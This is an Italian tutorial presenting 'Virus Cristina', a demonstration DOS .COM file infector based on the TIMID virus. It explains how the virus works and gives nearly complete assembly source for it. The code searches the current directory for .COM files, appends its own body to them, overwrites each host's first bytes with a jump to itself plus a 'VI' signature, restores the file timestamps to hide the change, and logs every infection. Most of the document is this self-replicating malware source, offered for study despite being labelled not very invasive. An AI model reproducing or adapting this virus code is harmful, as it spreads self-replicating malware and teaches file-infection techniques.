Variazione su tema: Virus TIMID

Virus Cristina :)

Programma dimostrativo che si riproduce in file di tipo .COM producendo un log con i file infetti e la data di infezione – un Com Infector “non molto invasivo”

Piano Generale:

- Un file COM infetto viene caricato in memoria ed eseguito. Per prima cosa salta al codice del virus.
- Il virus in memoria cerca nella sua directory un file COM adatto
- Se lo trova, il virus scrive il proprio codice alla fine del file
- Poi legge alcuni byte iniziali del file nella memoria e li riscrive su disco nella parte dati dei virus; quando il nuovo virus verrà eseguito avrà bisogno di questi byte per ripristinare il programma originale
- Il virus sovrascrive i byte salvati con un salto al suo codice nel file appena infetto
- Poi va a leggere tra i suoi dati i byte salvati del host e li riscrive in memoria
- Finalmente il virus fa eseguire il host all'indirizzo 100h

Routine di ricerca:

- Per la ricerca dei file utilizzo le funzioni di DOS int 21h, ah =4eh, 4fh
- Queste funzioni mi ritornano il nome del file trovato nella DTA (Disk Transfer Area) che si trova di solito nella locazione 80h all'interno della PSP e che contiene anche i parametri passati nella linea di commando al programma originario – bisognerà spostarla da qualche altra parte
- Non tutti i file trovati sono adatti – bisogna controllare che non siano troppo grandi (ed eccedano con l'aggiunta del virus il limite di 64kb) o che non siano già infetti
- Per evitare quest'ultima eventualità bisognerà controllare i primi byte del file e vedere se c'è una jmp near seguita da alcuni byte prestabiliti (firma)
- Per leggere il file useremo int 21h, ah = 3dh (al indica la modalità di apertura r, w, r/w)
- I primi byte del file ci saranno comunque utili, quindi li salveremo in memoria

Meccanismo di copia:

- Per prima cosa apro in I/s il file trovato, usando la stringa ASCII nella DTA
- Mi sposto alla fine del file e copio il corpo del virus in esso (per trovare l'inizio in memoria del virus, la prima cosa che farò sarà chiamare una procedura all'inizio del codice)
- Scrivo nel file all'interno dei dati del virus i byte che avevo letto con la routine di ricerca (nella variabile START_CODE del disco)
- Sovrascrivo l'inizio del file, mettendoci una jmp al codice del virus

Problemi di offset…

- Il virus quando viene eseguito sarà caricato in un offset diverso di volta in volta, dipendentemente dalla lunghezza del file
- Dato che tutte le JMP e le CALL in un programma COM sono relative, non ci sono problemi da questo punto di vista
- Invece i dati hanno degli offset fissi, definiti dall'assemblatore al momento dell'assemblazione
- Esistono dei trucchetti per riuscire ad indirizzare i dati, per esempio usando una call "inutile" che lascerà nella stack l'indirizzo successivo
- Facendo una pop si, riusciremo a indirizzare i dati sommando si all'offset fisso
- Oppure si può raggrupparli in una posizione fissa e indirizzarli senza ricalcolare gli offset
- L'unico posto sicuro per questo scopo è la stack, dato che al momento dell'esecuzione il virus ne prende possesso
- Così possiamo sapere esattamente cosa fa la stack e comportarci di conseguenza

Soluzioni:

- Posso posizionare la maggior parte dei dati sotto la stack
- Non so esattamente quanta me ne serve, quindi ne alloco 50h byte
- Devo fare attenzione però perché non si può mettere dati inizializzati nella stack, quindi dovrò usare il primo metodo per alcuni dati
- Tra le variabili metterò anche una variabile VIR_START che andrà a coprire FFFEh e FFFFh, che con una call del main conterranno l'offset di inizio virus
- Alla fine poi metterò l'inizio del programma host in VIR_START e userò la retf per tornare al programma host

```
1  MAIN SEGMENT BYTE
2      ASSUME CS:MAIN, DS: MAIN, SS: NOTHING
3      ORG 100H
4
5  ;*************************************************************************************************
6  ;*** HOST : un falso host che ci farà da "portatore", non fa altro che saltare alla routine del virus          ***
7  ;*************************************************************************************************
8
9  HOST:
10         jmp NEAR PTR VIRUS_START          ; salta all'inizio del codice del virus
11         db 'VI'                           ; la firma del virus
12         db 100h dup (90h)                 ; forziamo l'assemblatore a compilare la jump come near con 256 nop
13         mov ah, 4ch                       ; termina normalmente e torna a DOS
14         mov al, 0                         ; con codice di errore 0
15         int 21h
16
17 ; i dati non inizializzati(tutti a parte COMFILE, LOGFILE e START_CODE)  sono posizionati alla fine del segmento sotto la stack del virus
18 ; in questo modo non ho bisogno di calcolare ogni volta l'offset e la variabile VIR_START va a sovrascrivere l'indirizzo di ritorno della prima call
19
20 VIRUS:                                    ; primo byte del virus
21
22     COMFILE DB '*.COM', 0                 ; usato nella routine di ricerca
23     LOGFILE DB 'log.txt',24h              ; usati solo in MOSTRA
24     MSG DB ' e stato infettato', 24H      ; usati solo in MOSTRA
25
26
27 ;*************************************************************************************************
28 ;*** Routine principale - "Main" del virus                                                       ***
29 ;***  1) trova file                                                                              ***
30 ;*** 2) infetta                                                                                 ***
31 ;*** 3) [mostra]                                                                                ***
32 ;*** 4) rimetti a posto i primi 5 byte in memoria  del host e la DTA                            ***
33 ;*** 5) passa il controllo al host                                                             ***
34 ;*************************************************************************************************
```

```
35
36  VIRUS_START:                                ; inizio codice
37
38      ; inizio con una call, così da mettere l'indirizzo di GET_START in cima alla stack, dove sarà sovrascritto dalla variabile VIR_START
39      call GET_START
40
41  GET_START:
42
43      ; a VIR_START aggiungo anche la parte prima di GET_START in modo da farla puntare effettivamente all'inizio del virus
44      sub WORD PTR [VIR_START], OFFSET GET_START - OFFSET VIRUS
45      mov dx, OFFSET DTA                      ; set new DTA , ds: dx = nuova posizione della DTA
46      mov ah, 1ah                             ; per ora la variabile DTA alla fine della stack
47      int 21h
48
49      call FIND_FILE                          ; routine di ricerca file, ritorna il nome del file in FNAME
50      jnz EXIT_VIRUS                          ; not zero = file non trovato, zn = file OK
51
52      call INFECT                             ; infetta il file di nome FNAME
53      call MOSTRA                             ; routine puramente dimostrativa:  mostra il nome del file sullo schermo e scrivilo nel file
54
55  EXIT_VIRUS:
56
57      mov dx, 80h                             ; rimetti a posto il DTA all'indirizzo 80h del segmento (nella PSP)
58      mov ah, 1ah
59      int 21h
60
61      mov bx, [VIR_START]                     ; metti nei primi 5 byte del host in memoria start_code
62      mov ax, WORD PTR [ bx + (OFFSET START_CODE) - (OFFSET VIRUS)]
63      mov WORD PTR [HOST], ax                 ; lo start_code contiene i primi 5 byte originari del file host
64      mov ax, WORD PTR [ bx + (OFFSET START_CODE) - (OFFSET VIRUS)+2]
65      mov WORD PTR [HOST+2], ax
66      mov al, BYTE PTR [ bx + (OFFSET START_CODE) - (OFFSET VIRUS)+4]
67      mov BYTE PTR [HOST+4], al
```

```
69      mov [VIR_START], 100h                   ; mette in IP l'ultimo elemento presente nella stack = VIR_START
70      ret                                     ; ritorna il controllo al host
71
72  START_CODE:
73      nop                                     ; qui metteremo i primi 5 byte di codice del host
74      nop
75      nop
76      nop
77      nop
78
79  ;*************************************************************************************************
80  ;*** Routine di ricerca file "non molto invasiva"  - cerca il primo file COM nella cartella corrente    ***
81  ;***  ritorna nz= errore, zn= file ok, in FNAME la stringa con il nome del file                       ***
82  ;*************************************************************************************************
83
84  FIND_FILE:
85      mov dx, [VIR_START]                     ; comfile è all'indirizzo 0 del virus...
86      mov cx, 3fh                             ; find first file, cx= file attribute mask in questo caso, tutti i file
87      mov ah, 4eh                             ; ds: dx = ASCIIZ file specification = i file com
88      int 21h                                 ; ritorna ax= error code e il nome del file nella DTA
89
90  FF_LOOP:
91      or al, al                               ; se è 0 va bene
92      jnz FF_DONE                             ; c'è stato un errore, usciamo con nz
93      call FILE_OK                            ; altrimenti vediamo se il file è infettabile
94      jz FF_DONE                              ; set zero  = file ok
95
96      mov ah, 4fh                             ; find next file - usa gli stessi parametri della find first file
97      int 21h
98      jmp FF_LOOP                             ; c'è stato un errore?
99
100 FF_DONE:                                    ; esci con zn = file OK
101     ret                                     ; nz = errore
```

```
103 ;*************************************************************************************************
104 ;*** Routine di "infettabilità" del file - il file è ok se :                                   ***
105 ;*** 1) c'è abbastanza spazio per il virus (senza eccedere il limite di 64KB)                 ***
106 ;*** 2) non è già infetto - leggiamo i primi 5 byte in start_image e controlliamo se c'è near jmp e la signature  ***
107 ;*************************************************************************************************
108
109 FILE_OK:
110     mov dx, OFFSET FNAME                    ; apri il file di nome ds:dx
111     mov ax, 3d02h                           ; in lettura e scrittura
112     int 21h                                 ; ritorna il file handle in ax, set carry on error
113     jc FOK_NZEND                            ; se c'è errore esci
114
115     mov bx, ax                              ; bx = file handle
116     push bx                                 ; salviamo bx
117     mov cx, 5                               ; leggi cx bytes
118     mov dx, OFFSET START_IMAGE              ; in ds: dx
119     mov ah, 3fh                             ; leggi i primi 5 bytes del file da infettare in start_image
120     int 21h
121
122     pop bx                                  ; close file
123     mov ah,3eh
124     int 21h
125
126     mov ax, WORD PTR [FSIZE]                ; ci stiamo tutti in 64kb?
127     add ax, OFFSET ENDVIRUS - OFFSET VIRUS ; fsize + size del virus (endvirus equ $+212 di dati)
128     jc FOK_NZEND                            ; se c'è errore esci - file troppo grande
129
130     cmp BYTE PTR [START_IMAGE], 0E9H        ; first byte is a near jump?
131     jnz FOK_ZEND                            ; no, quindi non è infetto - OK
132
133     cmp WORD PTR [START_IMAGE + 3], 4956H ; VI?
134     jnz FOK_ZEND                            ; no, quindi non è infetto -OK
135
```

```
FOK_NZEND:
    mov al, 1                                   ; c'è stato un errore
    or al, al                                   ; esco con nz
    ret
FOK_ZEND:
    xor al, al                                  ; OK - esco con z
    ret

;*************************************************************************************************
;*** Routine di infezione:                                                                     ***
;*** 1) apri file trovato in find_file                                                         ***
;*** 2) scrivi il virus alla fine del file                                                     ***
;*** 3) scrivi in start_code sul disco i primi 5 byte letti (che ora sono start_image)         ***
;*** 4) scrivo la jmp iniziale, calcolando l'offset del virus                                  ***
;*** 5) ripristino gli attributi del file, salvati con la DTA                                  ***
;*************************************************************************************************

INFECT:
    mov dx, OFFSET FNAME                        ; apri file in lettura/scrittura
    mov ax, 3d02h                               ; ds:dx = nome file
    int 21h                                     ; ritorna handle del file in ax
    mov WORD PTR [HANDLE], ax                   ; lo salvo in file handle

    xor cx, cx                                  ; sposto il puntatore alla fine
    mov dx, cx                                  ; cx: dx offset dalla posizione indicata
    mov bx, WORD PTR [HANDLE]                   ; bx handle
    mov ax, 4202h                               ; al = 02 dalla fine
    int 21h

    mov cx, OFFSET FINAL - OFFSET VIRUS         ; lunghezza del virus senza la stack
    mov dx, [VIR_START]                         ; scrivi dall'inizio del virus
    mov bx, WORD PTR [HANDLE]                   ; nel file in bx
    mov ah, 40h                                 ; scrivo il virus in memoria alla fine del file da infettare
```

```
169     int 21h
170
171     xor cx, cx                              ; punto alla variabile start_code su disco
172     mov dx, WORD PTR [FSIZE]                ; nel codice del virus, offset dx dall'inizio file
173     add dx, OFFSET START_CODE - OFFSET VIRUS ;
174     mov bx, WORD PTR [HANDLE]
175     mov ax, 4200h
176     int 21h
177
178     mov cx, 5                               ; scrivo i 5 byte appena letti del file su disco (in FILE_OK)
179     mov bx, WORD PTR [HANDLE]               ; in start_code
180     mov dx, OFFSET START_IMAGE              ; in modo da riuscire a ripristinarli, quando eseguirò il file infetto
181     mov ah, 40h
182     int 21h
183
184     xor cx, cx                              ; punto all'inizio del file
185     mov dx, cx                              ; così possiamo scrivere la jmp iniziale
186     mov bx, WORD PTR [HANDLE]
187     mov ax, 4200h
188     int 21h
189
190     mov bx, [VIR_START]                     ; uso start_image per formare l'indirizzo della jump
191     mov BYTE PTR [START_IMAGE], 0e9h        ; codice della near jmp
192     mov ax, WORD PTR [FSIZE]                ; fsize + salto i dati inizializzati - 3 (essendo relativa)
193     add ax, OFFSET VIRUS_START - OFFSET VIRUS - 3  ; dimensione near jump = 3byte
194     mov WORD PTR [START_IMAGE+1], ax        ; scrivi in start_image l'indirizzo
195     mov WORD PTR [START_IMAGE+3], 4956h ; e la signature 'VI'
196
197     mov cx, 5                               ; scrivi i 5 byte appena formati all'inizio del file
198     mov dx, OFFSET START_IMAGE              ; ds:dx pointer to start_image
199     mov bx, WORD PTR[HANDLE]
200     mov ah, 40h
201     int 21h
```

```
203     mov ax, 5701h                   ; set file time/date - ripristina i valori salvati
204     mov bx, WORD PTR [HANDLE]       ; bx handle
205     mov dx, WORD PTR[FDATE]         ; dx fdate
206     mov cx, WORD PTR[FTIME]         ; cx ftime
207     int 21h
208
209     mov ah, 3eh                     ; chiudi il file infetto
210     int 21h
211
212     ret                             ; torna al main e fai eseguire il host
213
214 ;*************************************************************************************************
215 ;*** Routine dimostrativa; mostra il nome del file su schermo e lo scrive nel file di log      ***
216 ;*************************************************************************************************
217
218 MOSTRA:
219
220     mov dx, OFFSET FNAME            ; mostra su schermo la stringa in ds:dx
221     mov WORD PTR [HANDLE], 24h      ; metti $ alla fine della stringa
222     mov ah, 9                       ; mostra FNAME
223     int 21h
224
225     mov dx, [VIR_START]             ; mostra la stringa predefinita su schermo
226     add dx, OFFSET MSG - OFFSET VIRUS ; essendo già inizializzata non è messa nella stack
227     mov ah, 9                       ; però posso usare VIR_START per calcolarla
228     int 21h
229
230     mov dx, [VIR_START]             ; apri il file di log in scrittura
231     add dx, OFFSET LOGFILE - OFFSET VIRUS ; ottengo il file handle in ax
232     mov ax, 3d01h
233     int 21h
234     jc EXIT_VIRUS                   ; se c'è errore continua da qui
235
```

```
236     mov WORD PTR [HANDLE], ax           ; usiamo HANDLE per il file di log
237     mov bx, WORD PTR [HANDLE]           ; non ci serve più per il file infetto
238     xor cx, cx                          ; bx = handle del log
239     mov dx, cx                          ; spostiamo il pointer alla fine
240     mov ax, 4202h
241     int 21h
242
243     mov ah,2Ch                          ; get System Time  ch= hour, cl = minutes, dh = sec
244     int 21h
245     mov BYTE PTR [START_IMAGE], ch      ; salviamo l'ora in start_image
246     mov BYTE PTR [START_IMAGE+1], cl    ; i minuti in start_image+1
247
248     mov ah,2Ah                          ; get System Date  cx = year, dh = month, dl = day
249     int 21h
250     mov BYTE PTR [START_IMAGE+2], dl    ; giorno
251     mov BYTE PTR [START_IMAGE+3], dh    ; mese
252     mov BYTE PTR [START_IMAGE+4], cl    ; anno
253
254     mov bx, WORD PTR [HANDLE]           ; bx = handle del log
255     mov cx, 20                          ; lunghezza del FNAME+ HANDLE + START_IMAGE
256     mov dx, OFFSET FNAME                ; scrivo il nome del file nel log
257     mov ah, 40h                         ; e l'ora / data di infezione
258     int 21h
259
260     mov ah, 3eh                         ; close log
261     int 21h
262     ret
263
264
265 FINAL:                                  ; ultimo byte del virus
266
267 ENDVIRUS EQU $ + 212                    ; 212 = FFFF- FF2A- 1 dimensione dei dati
268
```

```
269     ORG 0ff2ah
270
271 ; i dati sono stati messi subito dopo la stack, in una posizione fissa, la variabile VIR_START va a coprire l'indirizzo di ritorno
272 ; della prima call, cioè l'inizio del file
273
274 DTA DB 16h  dup (?)          ; fino 16h DTA "inutile" per noi
275 FTIME DW 0                   ; gli attributi originali del file
276 FDATE DW 0                   ; la data e l'ora di ultima modifica
277 FSIZE DW 0,0                 ; la dimensione del file
278 FNAME DB 13 dup (0)          ; nome del file da infettare
279 HANDLE DW 0                  ; il handle del file
280 START_IMAGE DB 0,0,0,0,0     ; immagine dei primi 5 byte del file da infettare
281 VSTACK DW 50h dup(?)         ; 50h basteranno? stack del virus
282 VIR_START DW ?               ; inizio del virus, copre l'indirizzo di ritorno della prima call FFFE
283
284 MAIN ENDS
285
286 END HOST
287
```